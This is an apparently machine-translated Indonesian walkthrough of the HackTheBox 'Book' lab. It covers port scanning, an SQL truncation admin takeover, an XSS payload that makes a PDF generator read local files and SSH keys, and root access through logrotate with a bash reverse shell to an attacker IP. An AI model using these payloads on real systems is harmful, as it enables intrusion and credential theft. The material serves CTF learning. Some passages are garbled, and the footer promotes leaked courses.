HackTheBox. Buku Panduan. XSS ke LFI via PDF dan LPE via Logrotate



Saya terus menerbitkan solusi yang dikirim untuk finalisasi mesin dari platform HackTheBox .



Pada artikel ini, kita akan mengeksploitasi XSS ke LFI melalui dokumen PDF, meningkatkan hak istimewa dengan logrotten, dan juga melihat mengapa registrasi terpotong rentan.



Koneksi ke laboratorium adalah melalui VPN. Dianjurkan untuk tidak terhubung dari komputer kerja atau dari host di mana ada data penting bagi Anda, karena Anda menemukan diri Anda dalam jaringan pribadi dengan orang-orang yang tahu sesuatu tentang keamanan informasi.



Informasi organisasi
, , Telegram . , , .



. , - , .



Recon



Mesin ini memiliki alamat IP 10.10.10.176, yang saya tambahkan ke / etc / hosts.



10.10.10.176	book.htb


Pertama-tama, kami memindai port yang terbuka. Karena butuh waktu lama untuk memindai semua port dengan nmap, saya akan terlebih dahulu melakukannya menggunakan masscan. Kami memindai semua port TCP dan UDP dari antarmuka tun0 dengan 500 paket per detik.



masscan -e tun0 -p1-65535,U:1-65535 10.10.10.176     --rate=500






Sekarang, untuk mendapatkan informasi lebih rinci tentang layanan yang berjalan di port, jalankan pemindaian dengan opsi -A.



nmap -A book.htb -p22,80






Tuan rumah menjalankan layanan SSH dan server web. Mari kita mulai dengan web. Kami disambut oleh halaman login dan registrasi.







Mari mendaftar dan masuk.







Situs ini adalah perpustakaan dengan kemampuan untuk menambah buku dan menghubungi administrator.







Tidak ada vektor di bidang ini, tetapi kami tahu surat administrator. Mari kita loop direktori dengan gobuster. Dalam parameter, kami menentukan jumlah aliran 128 (-t), URL (-u), kamus (-w) dan ekstensi yang kami minati (-x).



gobuster dir -t 128 -u http://book.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php






Dengan demikian, kami menemukan banyak halaman menarik, termasuk panel admin. Kemudian diputuskan untuk memutar formulir otorisasi, dan segera kami menemukan sesuatu yang menarik dalam kode sumber.







Artinya, nama pengguna tidak boleh lebih dari 10 karakter, dan alamat e-mail tidak boleh lebih dari 20. Tetapi pemeriksaan hanya terjadi dalam kasus bidang kosong, tanpa memeriksa panjangnya.



Titik masuk



Jadi, kemungkinan besar variabel-variabel ini akan dipotong ke panjang yang ditentukan di sisi server. Mari kita periksa. Mari mendaftarkan pengguna yang alamat emailnya lebih dari 20 karakter.







Dan kemudian kita login, dengan mempertimbangkan alamat terpotong.











Seperti yang Anda lihat, anggapan itu benar. Mari mendaftar sebagai "admin@book.htb 123" dan kemudian login sebagai admin biasa.















Serangan ini dimungkinkan karena fakta bahwa ketika memeriksa saat pendaftaran, nilai "admin@book.htb 123" tidak ada dalam database, setelah itu terpotong dan menimpa yang sudah ada. Mari kita melihat-lihat situs dan menemukan tidak ada yang menarik selain koleksinya.







Setelah mengunduh dan membuka dokumen PDF, kami akan menemukan di sana daftar pengguna dan koleksi terdaftar.



PENGGUNA



Pengalaman saya mengatakan bahwa ketika kita berurusan dengan mengunggah informasi ke server dan menampilkannya dalam PDF, XXS ke LFI harus diperiksa. Anda dapat melakukan ini dengan mengunduh kode berikut.



<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script>
 

Masuk sebagai pengguna biasa dan tambahkan file ke koleksi, yang menunjukkan ini memuat di semua bidang.







Sekarang kita mengunduh file dengan koleksi dari administrator, dan menemukan isi file / etc / passwd di sana.







Mari kita baca kunci SSH pribadi dari pengguna pembaca dengan menentukan file "file: ///home/reader/.ssh/id_rsa" di load kami.







Tetapi ketika menyalin kunci, tidak semuanya disalin. Buka pdf ini di browser, salin teks dan tempel ke file teks biasa, sorot baris pertama dan terakhir.







Mari berikan hak untuk file ini.



chmod 0600 reader.key


Dan kami terhubung melalui SSH.







AKAR



Ada folder cadangan di direktori home pengguna.











Itu tidak memberi saya apa-apa. Jalankan skrip untuk enumerasi dasar sistem, kami juga menemukan tidak ada yang menarik. Dalam hal ini, kita melihat tugas yang dapat dieksekusi menggunakan pspy64. Dan di sini kita menemukan logrotate, berjalan atas nama root.







Utilitas Logrotate dirancang untuk mengotomatiskan pemrosesan log. Dia dapat melakukan tindakan yang diperlukan dengan mereka tergantung pada kondisi dan aturan kepatuhan tertentu. Misalnya, Anda dapat memampatkan log ke arsip atau mengirimnya ke server lain ketika mereka mencapai ukuran tertentu, usia, atau parameter lain. Dan pencarian di Google langsung memberikan sesuatu.











Unduh repositori dan kompilasi program.



gcc -o logrotten logrotten.c


Sekarang mari kita membuat file dengan shell terbalik.



echo "bash -i >& /dev/tcp/10.10.15.60/4321 0>&1" > payloadfile


Mari kita mulai logrotten, dan di jendela terminal lain kita akan menulis ke file log kita.



./logrotten -p ./payloadfile /home/reader/backups/access.log 






Kita dapat mengamati bahwa program ini berhasil.







Setelah beberapa detik, kami melihat koneksi yang tahan selama beberapa detik. Ini cukup untuk melihat kunci privat ssh.







Mari terhubung dengan kunci ini dan ambil bendera.







Anda dapat bergabung dengan kami di Telegram . Di sana Anda dapat menemukan materi menarik, kursus bocor, dan perangkat lunak. Mari kita kumpulkan komunitas di mana akan ada orang-orang yang berpengalaman dalam banyak bidang TI, maka kita selalu dapat saling membantu dalam masalah TI dan keamanan informasi.



All Articles